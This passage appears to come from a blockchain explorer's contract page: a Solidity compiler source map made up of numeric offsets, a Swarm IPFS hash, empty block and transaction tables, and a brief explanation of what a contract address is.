66:9;10950:15;:26::i;:::-;10943:33;;;;;10504:484;-1:-1:-1;11005:11:0;10399:625;-1:-1:-1;;10399:625:0:o;1052:84::-;1110:7;1128:5;1132:1;1128;:5;:::i;12934:382::-;13045:15;;13006:4;;13045:15;;:44;;;;-1:-1:-1;13078:11:0;;;;;;;13077:12;13045:44;:80;;;;-1:-1:-1;;;;;;13107:18:0;;;;;;:12;:18;;;;;;;;13106:19;13045:80;:114;;;;-1:-1:-1;;;;;;13143:16:0;;;;;;:12;:16;;;;;;;;13142:17;13045:114;:156;;;;-1:-1:-1;13176:25:0;13045:156;:219;;;;-1:-1:-1;13246:18:0;;13236:4;5975:7;6002:18;;;:9;:18;;;;;;13218:46;;13045:219;:252;;;;-1:-1:-1;;13281:16:0;;;;;12934:382;-1:-1:-1;;12934:382:0:o;13983:1078::-;5270:11;:18;;-1:-1:-1;;5270:18:0;;;;;14118:7:::1;::::0;14099:13:::1;::::0;14074::::1;::::0;5270:18;;14073:61:::1;::::0;14132:1:::1;::::0;14074:52:::1;::::0;14118:7;14074:39:::1;::::0;;;5284:4;14074:17:::1;:20::i;:::-;:24:::0;::::1;:39::i;14073:61::-;14051:83;;14145:23;14171:42;14201:11;14171:25;14182:13;;14171:6;:10;;:25;;;;:::i;:42::-;14145:68:::0;-1:-1:-1;14224:20:0::1;14247:27;:6:::0;14145:68;14247:10:::1;:27::i;:::-;14224:50:::0;-1:-1:-1;14313:21:0::1;14345:30;14224:50:::0;14345:16:::1;:30::i;:::-;14386:16;14405:44;:21;14431:17:::0;14405:25:::1;:44::i;:::-;14386:63;;14460:15;14478:44;14491:30;14507:13;;14491:11;:15;;:30;;;;:::i;:::-;14478:8:::0;;:12:::1;:44::i;:::-;14460:62;;14533:20;14556:26;14568:13;;14556:7;:11;;:26;;;;:::i;:::-;14533:49:::0;-1:-1:-1;14597:25:0;;14593:101:::1;;14639:43;14652:15;14669:12;14639;:43::i;:::-;14746:13;::::0;14704:20:::1;::::0;14727:33:::1;::::0;:14:::1;:7:::0;14739:1:::1;14727:11;:14::i;:33::-;14704:56:::0;-1:-1:-1;14775:16:0;;14771:97:::1;;14808:48;::::0;3155:42:::1;::::0;14808:48;::::1;;;::::0;14843:12;;14808:48:::1;::::0;;;14843:12;3155:42;14808:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14771:97;14908:21;14944:32:::0;;14940:114:::1;;14993:49;::::0;3243:42:::1;::::0;14993:49;::::1;;;::::0;15022:19;;14993:49:::1;::::0;;;15022:19;3243:42;14993:49;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;14940:114;-1:-1:-1::0;;5311:11:0;:19;;-1:-1:-1;;5311:19:0;;;-1:-1:-1;;;;;;;;13983:1078:0:o;13704:271::-;13803:13;;13771:7;;-1:-1:-1;;;;;13803:13:0;;;13795:21;;;;13791:70;;-1:-1:-1;13840:9:0;;13833:16;;13791:70;13881:13;;-1:-1:-1;;;;;13881:13:0;;;13875:19;;;;13871:67;;-1:-1:-1;13918:8:0;;13911:15;;13871:67;-1:-1:-1;13955:12:0;;13704:271;;;;:::o;15069:546::-;15159:16;;;15173:1;15159:16;;;;;;;;15135:21;;15159:16;;;;;;;;;;-1:-1:-1;15159:16:0;15135:40;;15204:4;15186;15191:1;15186:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15186:23:0;;;:7;;;;;;;;;;:23;;;;15230:15;;:22;;;-1:-1:-1;;;15230:22:0;;;;:15;;;;;:20;;:22;;;;;15186:7;;15230:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15220:4;15225:1;15220:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15220:32:0;;;:7;;;;;;;;;;;:32;15267:15;;15263:345;;15331:15;;15299:62;;15316:4;;-1:-1:-1;;;;;15331:15:0;15349:11;15299:8;:62::i;:::-;15376:15;;:220;;-1:-1:-1;;;15376:220:0;;-1:-1:-1;;;;;15376:15:0;;;;:66;;:220;;15461:11;;15376:15;;15511:4;;15542;;15566:15;;15376:220;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15124:491;15069:546;:::o;12562:364::-;12675:15;;12643:62;;12660:4;;-1:-1:-1;;;;;12675:15:0;12693:11;12643:8;:62::i;:::-;12716:15;;:202;;-1:-1:-1;;;12716:202:0;;12788:4;12716:202;;;7221:34:1;7271:18;;;7264:34;;;12716:15:0;7314:18:1;;;7307:34;;;7357:18;;;7350:34;3332:42:0;7400:19:1;;;7393:44;12892:15:0;7453:19:1;;;7446:35;-1:-1:-1;;;;;12716:15:0;;;;:31;;12755:9;;7155:19:1;;12716:202:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;12562:364;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:316::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;-1:-1:-1;;1452:23:1;;;1522:2;1507:18;;1494:32;;-1:-1:-1;1573:2:1;1558:18;;;1545:32;;1267:316;-1:-1:-1;1267:316:1:o;1588:456::-;1665:6;1673;1681;1734:2;1722:9;1713:7;1709:23;1705:32;1702:52;;;1750:1;1747;1740:12;1702:52;1789:9;1776:23;1808:31;1833:5;1808:31;:::i;:::-;1858:5;-1:-1:-1;1915:2:1;1900:18;;1887:32;1928:33;1887:32;1928:33;:::i;:::-;1588:456;;1980:7;;-1:-1:-1;;;2034:2:1;2019:18;;;;2006:32;;1588:456::o;2049:247::-;2108:6;2161:2;2149:9;2140:7;2136:23;2132:32;2129:52;;;2177:1;2174;2167:12;2129:52;2216:9;2203:23;2235:31;2260:5;2235:31;:::i;2698:416::-;2763:6;2771;2824:2;2812:9;2803:7;2799:23;2795:32;2792:52;;;2840:1;2837;2830:12;2792:52;2879:9;2866:23;2898:31;2923:5;2898:31;:::i;:::-;2948:5;-1:-1:-1;3005:2:1;2990:18;;2977:32;3047:15;;3040:23;3028:36;;3018:64;;3078:1;3075;3068:12;3018:64;3101:7;3091:17;;;2698:416;;;;;:::o;3119:592::-;3232:6;3240;3248;3256;3264;3272;3280;3333:3;3321:9;3312:7;3308:23;3304:33;3301:53;;;3350:1;3347;3340:12;3301:53;-1:-1:-1;;3373:23:1;;;3443:2;3428:18;;3415:32;;-1:-1:-1;3494:2:1;3479:18;;3466:32;;3545:2;3530:18;;3517:32;;-1:-1:-1;3596:3:1;3581:19;;3568:33;;-1:-1:-1;3648:3:1;3633:19;;3620:33;;-1:-1:-1;3700:3:1;3685:19;3672:33;;-1:-1:-1;3119:592:1;-1:-1:-1;3119:592:1:o;3716:388::-;3784:6;3792;3845:2;3833:9;3824:7;3820:23;3816:32;3813:52;;;3861:1;3858;3851:12;3813:52;3900:9;3887:23;3919:31;3944:5;3919:31;:::i;:::-;3969:5;-1:-1:-1;4026:2:1;4011:18;;3998:32;4039:33;3998:32;4039:33;:::i;4369:127::-;4430:10;4425:3;4421:20;4418:1;4411:31;4461:4;4458:1;4451:15;4485:4;4482:1;4475:15;4501:168;4574:9;;;4605;;4622:15;;;4616:22;;4602:37;4592:71;;4643:18;;:::i;4674:217::-;4714:1;4740;4730:132;;4784:10;4779:3;4775:20;4772:1;4765:31;4819:4;4816:1;4809:15;4847:4;4844:1;4837:15;4730:132;-1:-1:-1;4876:9:1;;4674:217::o;5112:128::-;5179:9;;;5200:11;;;5197:37;;;5214:18;;:::i;5245:125::-;5310:9;;;5331:10;;;5328:36;;;5344:18;;:::i;5507:127::-;5568:10;5563:3;5559:20;5556:1;5549:31;5599:4;5596:1;5589:15;5623:4;5620:1;5613:15;5639:251;5709:6;5762:2;5750:9;5741:7;5737:23;5733:32;5730:52;;;5778:1;5775;5768:12;5730:52;5810:9;5804:16;5829:31;5854:5;5829:31;:::i;5895:980::-;6157:4;6205:3;6194:9;6190:19;6236:6;6225:9;6218:25;6262:2;6300:6;6295:2;6284:9;6280:18;6273:34;6343:3;6338:2;6327:9;6323:18;6316:31;6367:6;6402;6396:13;6433:6;6425;6418:22;6471:3;6460:9;6456:19;6449:26;;6510:2;6502:6;6498:15;6484:29;;6531:1;6541:195;6555:6;6552:1;6549:13;6541:195;;;6620:13;;-1:-1:-1;;;;;6616:39:1;6604:52;;6711:15;;;;6676:12;;;;6652:1;6570:9;6541:195;;;-1:-1:-1;;;;;;;6792:32:1;;;;6787:2;6772:18;;6765:60;-1:-1:-1;;;6856:3:1;6841:19;6834:35;6753:3;5895:980;-1:-1:-1;;;5895:980:1:o;7492:306::-;7580:6;7588;7596;7649:2;7637:9;7628:7;7624:23;7620:32;7617:52;;;7665:1;7662;7655:12;7617:52;7694:9;7688:16;7678:26;;7744:2;7733:9;7729:18;7723:25;7713:35;;7788:2;7777:9;7773:18;7767:25;7757:35;;7492:306;;;;;:::o

Swarm Source

ipfs://f2305e4ef4baf0de5147583d535e92e37596b5a69cc70a7f5b91ebea0c57aa87

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.